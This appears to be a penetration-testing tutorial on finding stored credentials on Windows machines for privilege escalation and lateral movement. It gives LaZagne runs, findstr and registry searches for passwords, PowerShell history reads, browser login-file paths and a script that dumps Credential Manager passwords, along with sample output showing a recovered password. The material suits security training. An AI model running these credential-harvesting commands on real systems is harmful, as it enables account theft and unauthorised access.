Credential Hunting in Windows

Windows Credential Hunting

Credential hunting in Windows environments can yield valuable access that allows for privilege escalation or lateral movement. This process involves searching for plain-text credentials in files, database files, config files, saved credentials, CLI history, and more.

Understanding the Target

Before diving into credential hunting, consider what an IT administrator might be doing on a day-to-day basis and which tasks require credentials:

  • Domain administration

  • Database management

  • Service configuration

  • Scheduled task creation

  • Remote administration

  • Script automation

Key Search Terms

Whether using GUI or CLI tools, knowing what to search for is critical:

Common Search Terms

Passwords

Passphrases

Keys

Username

User account

Creds

Users

Passkeys

Passphrases

configuration

dbcredential

dbpassword

pwd

Login

Credentials

Using LaZagne

LaZagne is a powerful tool for extracting stored credentials from numerous applications.

C:\Users\bob\Desktop> start lazagne.exe all

This executes LaZagne and runs all included modules. Add the -vv option to see detailed background operations.

LaZagne Output Example

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|


########## User: bob ##########

------------------- Winscp passwords -----------------

[+] Password found !!!
URL: 10.129.202.51
Login: admin
Password: SteveisReallyCool123
Port: 22

Using findstr

Windows' built-in findstr command can search for patterns across many file types:

C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

Common Credential Storage Locations

Configuration Files

  • Web.config files

  • App.config files

  • ApplicationHost.config

  • PHP configuration files

  • XML configuration files

Registry

# PowerShell commands to search registry for passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Saved Credentials

cmdkey /list

PowerShell History

Get-History
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Additional Hunting Locations

  • Passwords in Group Policy in the SYSVOL share

  • Passwords in scripts in the SYSVOL share

  • Password in scripts on IT shares

  • Passwords in web.config files on dev machines and IT shares

  • unattend.xml files

  • Passwords in the AD user or computer description fields

  • KeePass databases

  • Files such as pass.txt, passwords.docx, passwords.xlsx

Browser Stored Credentials

Modern browsers store credentials that can be extracted:

  • Chrome: %LocalAppData%\Google\Chrome\User Data\Default\Login Data

  • Firefox: %AppData%\Mozilla\Firefox\Profiles\[profile]\logins.json

  • Edge: %LocalAppData%\Microsoft\Edge\User Data\Default\Login Data

Browser tools like LaZagne can extract these with proper commands:

C:\> lazagne.exe browsers

Service Account Credentials

Services often run with stored credentials:

Get-WmiObject -Class Win32_Service | Where-Object {$_.StartName -notlike "LocalSystem" -and $_.StartName -notlike "NT AUTHORITY\*" -and $_.StartName -notlike "NT SERVICE\*"} | Select-Object Name, StartName, State

Credential Manager

Windows Credential Manager stores various login credentials:

# PowerShell script to access Credential Manager
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword(); $_ }

Best Practices for Credential Hunting

  1. Be systematic: Create a checklist of locations to examine

  2. Document findings: Record all credentials and their sources

  3. Prioritize high-value targets: Focus on administrative and service accounts

  4. Consider timing: Some credentials may be exposed only during specific operations

  5. Look for patterns: Users often reuse passwords with slight variations

By thoroughly exploring these common storage locations, you can often find credentials that provide increased access and privileges within a Windows environment.

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